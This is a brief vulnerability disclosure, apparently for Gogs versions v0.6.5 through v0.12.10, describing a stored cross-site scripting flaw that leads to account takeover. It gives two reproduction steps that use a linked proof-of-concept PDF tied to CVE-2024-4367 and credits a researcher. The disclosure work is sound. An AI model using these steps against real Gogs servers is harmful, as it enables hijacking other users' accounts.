1. Upload the Proof of Concept file hosted at https://codeanlabs.com/wp-content/uploads/2024/05/pocgeneralizedCVE-2024-4367.pdf in a repository. 2. Click on the file to be previewed.
!poc
Credits
Edoardo Ottavianelli
In Gogs, versions v0.6.5 through v0.12.10 are vulnerable to Stored Cross-Site Scripting (XSS) that leads to an account takeover.